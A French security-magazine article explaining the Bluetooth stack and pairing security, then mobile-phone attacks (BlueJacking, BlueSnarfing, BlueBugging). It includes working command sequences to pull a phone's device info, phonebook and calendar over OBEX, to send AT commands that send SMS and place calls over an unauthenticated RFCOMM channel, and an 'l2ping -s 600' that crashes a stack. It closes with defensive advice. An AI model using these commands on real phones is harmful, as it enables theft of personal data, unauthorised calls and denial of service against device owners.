Retrouvez cet article dans : Misc 20

Les technologies sans fil sont aujourd'hui de plus en plus répandues et populaires comme le montre l'utilisation croissante du WiFi et son intégration systématique dans les routeurs ADSL et les ordinateurs portables par exemple. En ce qui concerne les communications courte distance entre équipements, le Bluetooth est désormais reconnu comme étant le standard. Il est de plus en plus présent dans notre vie quotidienne, de l'utilisation la plus classique avec le clavier, la souris, l'appareil photo ou le PDA à la plus originale, voire surprenante, comme le tableau de bord d'une voiture ou des équipements médicaux.

L'intérêt à porter à la sécurité et aux problèmes liés à un protocole tel Bluetooth devient évident au vu des données et des ressources auxquelles il donne potentiellement accès. Comme tout autre protocole plus ou moins clairement défini et normalisé, la qualité de son implémentation reste fortement dépendante de l'éditeur et/ou du constructeur. Ainsi, les premières failles sur des piles Bluetooth de téléphone mobile ont été révélées publiquement, mettant au grand jour de nouvelles menaces. Cet article tente d'amener quelques informations sur les vulnérabilités des téléphones mobiles ayant eu la malchance de se retrouver avec une pile Bluetooth sans doute assez ouverte.

La technologie Bluetooth

Historique

Comme toute présentation sur le Bluetooth qui se respecte, il est d'usage d'écrire quelques lignes sur son histoire et surtout celle de son nom. Harald Bluetooth (Harald Blaatand en version originale) était un roi danois du 10ème siècle. Ainsi ce cher dirigeant tenait son petit nom de la coloration bleue de ses dents due à son goût prononcé pour les myrtilles (d'où le nom Dent Bleue ou Bluetooth pour les bilingues). À l'origine mis au point par Ericsson, les travaux sur la technologie Bluetooth se retrouvent fédérés au sein du SIG (Special Interest Group) en 1998. S'y regroupent des sociétés prestigieuses comme Agere, Ericsson, Intel, Microsoft, Motorola, Nokia ou encore Toshiba. Pour plus d'informations commerciales, il est conseillé de consulter le site www.bluetooth.com et pour les curieux techniciens, le site www.bluetooth.org semble plus approprié (Courage ! Les spécifications de la version 1.2 du protocole font à peine 1200 pages).

Description

Après une petite introduction historique, il s'avère intéressant voire nécessaire d'aborder de plus près ce fameux protocole Bluetooth. Il s'agit donc d'une technologie sans fil de type PAN (Personal Area Network) destinée à connecter des équipements proches les uns des autres (de 1m à 100m) Le protocole est normalisé sous le nom IEEE 802.15 [1]. Cette technologie se caractérise, entre autres, par une faible consommation d'énergie (théoriquement) et la possibilité de transmettre de la voix et des données. Bluetooth utilise la bande de fréquences radio ISM (Industrial, Scientific and Medical) des 2.4 GHz (2400 - 2483.5 MHz) avec sauts de fréquences pour éviter les interférences (79 canaux de 1MHz et 1600 sauts/seconde). Tout ça aboutit à un débit de l'ordre de 1Mb/seconde.

Architecture et pile Bluetooth

Lorsque des équipements Bluetooth sont mis en réseau, ceux-ci forment un piconet composé d'un maître et de plusieurs esclaves (jusqu'à 7 au maximum). Ces mêmes piconets ont la possibilité de s'interconnecter et donner ainsi un scatternet (illustré par la figure 1) Un piconet ne contient qu'un maître au plus, cependant un maître ou des esclaves peuvent se trouver dans deux piconets différents.

Fig. 1 - Exemple d'un Scatternet

 Au niveau de la couche matérielle du protocole Bluetooth, se distinguent la partie radio qui permet l'émission et la réception sur la bande de fréquences 2.4 GHz, le contrôleur de lien (appelé " baseband ") qui gère les sauts de fréquence et l'adressage des équipements entre autres. Cet adressage est similaire à celui d'une adresse MAC, ainsi une Bluetooth Device Address (BD_ADDR) est du type 00:11:22:33:44:55. La couche Link Manager s'occupe principalement de la gestion de la mise en place de la liaison, de sa configuration, du chiffrement et de l'authentification. Cette couche matérielle est alors accessible via la couche d'abstraction HCI (Host Controller Interface)
Après cette rapide description de la couche matérielle, quelques mots sur la pile protocolaire Bluetooth apporteront quelques informations utiles pour la suite. L2CAP (Logical Link Control and Adaptation Protocol) est le protocole minimal d'échange de données, il se caractérise par un PSM (Protocol Service Multiplexer) identifiant le type de données (numéroté de 1 à 65535 mais uniquement sur les nombres impairs avec par exemple 01 pour SDP et 03 pour RFCOMM). Le protocole RFCOMM va émuler un port série. Il repose sur une liaison L2CAP et un canal (channel numéroté de 1 à 30 ) identifiant le port série créé. Enfin, SDP (Service Discovery Protocol) est un protocole destiné à découvrir les services proposés par un équipement Bluetooth. En effet, chaque équipement met à disposition via le Bluetooth un certain nombre de services identifiés entre autres par un canal RFCOMM (par exemple : transfert de fichier, oreillette, modem,...). La figure 2 représente une vue simplifiée de la pile Bluetooth. Pour plus d'informations concernant le Bluetooth, il est fortement conseillé de consulter les spécifications disponibles sur le site officiel [2].

 

Fig. 2 - Schéma de la pile Bluetooth

Mécanismes de sécurité du Bluetooth

Pour faire simple, le protocole Bluetooth propose 3 niveaux de sécurité. Le mode 1 correspond à n'avoir aucune sécurité (par exemple sur un access point Bluetooth), le mode 2 consiste à transférer la sécurité sur le service ou l'application et enfin dans le mode 3 la sécurité se situe au niveau de la couche liaison avec une authentification par code PIN, une identification par l'adresse MAC Bluetooth et du chiffrement optionnel.
Afin de créer une relation sécurisée entre deux équipements, a lieu un processus dit " de bonding " constitué de plusieurs étapes : la création d'une liaison, le pairing (seulement si les équipements ne sont pas déjà couplés) et l'authentification. Le processus de pairing vise à créer et échanger une clé de liaision (Link Key Klink) entre deux équipements Bluetooth pour une authentification mutuelle future. Il se déroule selon les étapes suivantes :

• Création d'une clé d'initialisation Kinit à partir d'un nombre aléatoire commun (transmis en clair) du code PIN et de sa longueur (voir figure 3).

Fig. 3 - Génération de la clé d'initialisation

• Génération de la clé de liaison Klink qui peut être du type Unit Key, Combination Key ou Master Key (pour le broadcast uniquement). Une Unit Key est générée une fois sur chaque équipement à partir d'un nombre aléatoire et de l'adresse MAC Bluetooth. Dans certains cas ce type de clé est éventuellement utilisée comme clé de liaison, elle est alors transmise chiffrée avec Kinit. La Combination Key est générée à partir d'un nombre aléatoire (ce nombre est transmis chiffré par Kinit) et de l'adresse MAC Bluetooth (voir figure 4)

 

Fig. 4 - Génération de la Combination Key

• La clé de liaison est alors stockée pour des connexions futures etre les deux équipements désormais couplés (via le processus de pairing) L'authentification s'effectue via un challenge-response grâce à un secret partagé, à savoir la clé de liaison Klink. À noter que le chiffrement repose aussi sur la clé de liaison.

Le document sur la sécurité du protocole Bluetooth du LASEC de l'EPFL [9] vous donnera des informations bien plus précises. De même, l'article de Ollie Whitehouse [11] vous éclairera sur les attaques possibles de ces mécanismes de sécurité. La description de ces quelques éléments sur le protocole Bluetooth, certes très loin d'être exhaustive ou même complète, a au moins le mérite d'apporter les éclairages suffisants à la compréhension de la prochaine partie abordant les vulnérabilités des piles Bluetooth de certains téléphones mobiles.

Les vulnérabilités

Le Bluetooth se retrouve aujourd'hui sur quasiment tous les nouveaux modèles de téléphone mobiles qui sont clairement des cibles privilégiées de par leur nombre et leur accessibilité (proximité des utilisateurs). À noter dès maintenant que les vulnérabilités présentées sont toutes dues à de mauvaises implémentations du protocole Bluetooth (et non pas à des failles de la technologie elle-même).

BlueJacking

Plus un détournement de fonctionnalité qu'une vulnérabilité à part entière, le BlueJacking consiste à envoyer un fichier (contact, image, vCard,...) afin de transmettre un message sans authentification à un autre équipement Bluetooth. Cette pratique pourrait vite dériver vers une nouvelle forme de spam. Le nom de l'équipement Bluetooth émetteur à la possibilité d'être modifié afin de crédibiliser le message envoyé ou de pousser l'utilisateur à s'authentifier (genre de social engineering) La figure ci-dessus présente un exemple trivial de BlueJacking par l'envoi d'un contact.

Exemple de BlueJacking

Le BlueJacking est devenu suffisamment populaire pour que des sites et des forums lui soient entièrement consacrés. Des sites comme www.bluejackq.com, www.bluejackers.co.uk en sont des représentants, mais une simple recherche sur Google vous remonte de très nombreux résultats.

BlueSnarfing

Cette fois-ci, il s'agit bien d'une véritable attaque. L'objectif est relativement simple puisqu'il consiste à accéder (en lecture et en écriture) à des informations (phonebook, calendar,...) sur le mobile d'une victime. Normalement l'accès aux services nécessite, au préalable, une authentification (avec un pairing si les équipements ne sont pas déjà couplés) sauf pour certains considérés comme pratiques et sans doute sans risque. Dans ce cas, il y a les services fondés sur le protocole OBEX comme OBEX Object Push, OBEX File Transfer et OBEX Basic Imaging. Sans entrer dans les détails, OBEX (OBject EXchange) est un protocole d'échange d'objets (vCard, vCalendar, images, sons,...)
Dans une utilisation standard, les services OBEX ne fonctionnent qu'en mode PUSH (envoi de données) sur des fichiers bien spécifiques comme les images ou les sons par exemple. La vulnérabilité réside dans le fait que, sans authentification, le mode PULL (réception de données) est aussi possible sur certains téléphones (Sony Ericsson T6x0, Nokia 6310i,...). Les spécifications OBEX [3] indiquent quelques fichiers intéressants : telecom/devinfo.txt (données sur l'équipement), telecom/pb.vcf (intégralité du carnet d'adresses), telecom/cal.vcs (intégralité de l'agenda). En guise d'illustration, rien ne vaut un exemple, ici avec un Sony Ericsson T610 et les outils de base de la pile Bluetooth Linux Bluez [4] ainsi qu'un outil de transfert de fichier via OBEX à savoir obexftp [5] :

[Recherche des équipements Bluetooth]

tough:~# hcitool scan
Scanning ...
	00:0A:D9:xx:yy:zz       Veuillez entrer 0000

[Recherche des services Bluetooth]

tough:~# sdptool browse 00:0A:D9:xx:yy:zz
Browsing 00:0A:D9:xx:yy:zz ...
[...]
Service Name: OBEX Object Push
Service RecHandle: 0x10005
Service Class ID List:
  "OBEX Object Push" (0x1105)
Protocol Descriptor List:
  "L2CAP" (0x0100)
  "RFCOMM" (0x0003)
    Channel: 10
  "OBEX" (0x0008)
Profile Descriptor List:
  "OBEX Object Push" (0x1105)
    Version: 0x0100
[...]

[Download de devinfo.txt]

tough:~# obexftp -b 00:0A:D9:xx:yy:zz -B 10 -g telecom/devinfo.txt
Browsing 00:0A:D9:xx:yy:zz ...
Channel: 7
No custom transport
Connecting...bt: 1
done
Receiving telecom/devinfo.txt... done
Disconnecting...done

[Contenu de devinfo.txt]

MANU:Sony Ericsson
MOD:T610 series
SW-VERSION:prgCXC125566_EU_2
SW-DATE:20R3C002TTTTT00
HW-VERSION:proto
SN:351957004345530
PB-TYPE-TX:VCARD2.1
PB-TYPE-RX:VCARD2.1
CAL-TYPE-TX:VCAL1.0
CAL-TYPE-RX:VCAL1.0
MSG-TYPE-TX:NONE
MSG-TYPE-RX:NONE
NOTE-TYPE-TX:VNOTE1.1
NOTE-TYPE-RX:VNOTE1.1
X-ERI-MELODY-TYPE-TX:EMELODY1.0
X-ERI-MELODY-TYPE-RX:EMELODY1.0
IRMC-VERSION:1.1
INBOX:MULTIPLE
MSG-SENT-BOX:NO

Cette faille tend à disparaître sur les nouveaux mobiles mais des recherches sont continuellement menées sur le sujet et de nouvelles formes de BlueSnarfing sont découvertes. Pour plus d'informations, consultez le site de Trifinite [6].

BlueBugging

Cette attaque consiste à détecter des services pour lesquels l'authentification a bêtement été oubliée (ou négligée au choix) par les éditeurs/constructeurs. À la différence du BlueSnarfing, un téléphone mobile vulnérable se retrouve totalement ouvert. Il est alors possible de passer des commandes AT au téléphone et ainsi accéder à la quasi-intégralité des fonctions (envoi et réception de SMS, appel téléphonique, accès au carnet d'adresses,...). Les possibilités des commandes AT sont propres au téléphone (se référer à la documentation des constructeurs disponible sur leur site respectif). À titre d'exemple, les premières versions des Sony Ericsson T610 ont les canaux RFCOMM de 17 à 30 ouverts et accessibles sans authentification, de la même manière les services Headset ou Handsfree des Motorola V500 ne sont, eux aussi, pas protégés et un dernier exemple connu avec le cas du Nokia 6810i qui est le cas d'école du BlueBugging. Plusieurs programmes et outils sont disponibles pour faciliter la détection et la récupération de données comme btxml [7] ou Blooover [8]. L'exemple suivant montre une connexion sur un port RFCOMM 18 ouvert d'un Sony Ericsson T610 et le passage de commandes AT:

 tough:~# rfcomm bind /dev/rfcomm0 00:0A:D9:xx:yy:zz 18
tough:~# cu -l /dev/rfcomm0
Connected.
ATI         // Info sur le device
T610 series

OK
AT*
[...]
+CMGS       // Envoyer un SMS
+CPBR       // Lire le phonebook
D           // Etablir un appel
[...]
OK

Les téléphones vulnérables en circulation sont encore très nombreux. En outre, d'autres failles de ce type restent sans doute à être détectées. Pour cela, il existe BT Audit [10] qui offre la possibilité de scanner l'ensemble des canaux RFCOMM et des PSM L2CAP. Ci-après, un exemple de scan RFCOMM :

tough:~/bt_audit/src# ./rfcomm_scan 00:0A:D9:xx:yy:zz
rfcomm: 01 closed
rfcomm: 02 closed
rfcomm: 03 closed
rfcomm: 04 closed
rfcomm: 05 closed
rfcomm: 06 closed
rfcomm: 07 closed
rfcomm: 08 closed
rfcomm: 09 closed
rfcomm: 10 open
rfcomm: 11 closed
rfcomm: 12 closed
rfcomm: 13 closed
rfcomm: 14 closed
rfcomm: 15 open
rfcomm: 16 closed
[...]

Un peu plus de failles

Là encore, à cause d’un manque flagrant d'intérêt pour la sécurité, les piles Bluetooth sont souvent mal et vite programmées. À titre d'exemple, des buffer overflows ont été découverts sur la pile Bluetooth de Widcomm (pile utilisée sur les plateformes Windows et Windows CE) [12]. De même, l'équivalent du Ping of Death se retrouve sur certaines piles Bluetooth. Ainsi un simple l2ping -s 600 tue la pile Bluetooth d'un PDA sous Windows Mobile (heureusement que les piles Bluetooth des équipements médicaux sont plus sécurisées... ou pas).
Toujours sur le site de Trifinite, vous trouverez divers outils Bluetooth comme le BluePrinting (fingerprinting d'équipements Bluetooth) ou encore BluePot, un projet de honeypot Bluetooth. De nouvelles attaques ou variantes sont publiées régulièrement.

Conclusion

Quelques mots tout de même sur les parades et autres recommandations. Il est fortement conseillé de n'activer le Bluetooth qu'en cas de nécessité, de passer en mode invisible afin de masquer son adresse, de faire le couplage (pairing) dans un environnement sûr (éviter les lieux publics) et de mettre à jour applications et systèmes quand cela est possible.
Voilà encore une bien belle technologie et surtout bien pratique. Par conséquent, celle-ci va se répandre inexorablement un peu partout. Pour éviter d'éventuels soucis, il conviendra de prendre en compte les vulnérabilités potentielles des équipements selon leur utilisation et espérer que les éditeurs et constructeurs travailleront avec cette problématique de sécurité en tête.

Références

• [1] Norme IEEE 802.15 : http://grouper.ieee.org/groups/802/15/
• [2] Spécifications Bluetooth 1.2 : https://www.bluetooth.org/foundry/adopters/document/Bluetooth_Core_Specification_v1.2
• [3] Spécifications OBEX et iMelody : http://www.irda.org
• [4] BlueZ : http://www.bluez.org/
• [5] ObexFTP : http://triq.net/obex/
• [6] Trifinite : http://www.trifinite.org
• [7] btxml : http://www.betaversion.net/btdsd/download/btxml.c
• [8] Blooover :  http://trifinite.org/trifinite_stuff_blooover.html
• [9] La sécurité de Bluetooth : http://lasecwww.epfl.ch/securityprotocols/bluetooth/bluetooth_report.pdf
• [10] BT Audit : http://trifinite.org/trifinite_stuff_btaudit.html
• [11] Ollie Whitehouse – Bluetooth : Red Fang, Blue Fang. : http://cansecwest.com/csw04/csw04-Whitehouse.pdf
• [12] WIDCOMM Bluetooth Connectivity Software Buffer Overflows : http://www.pentest.co.uk/documents/ptl-2004-03.html

  Retrouvez cet article dans : Misc 20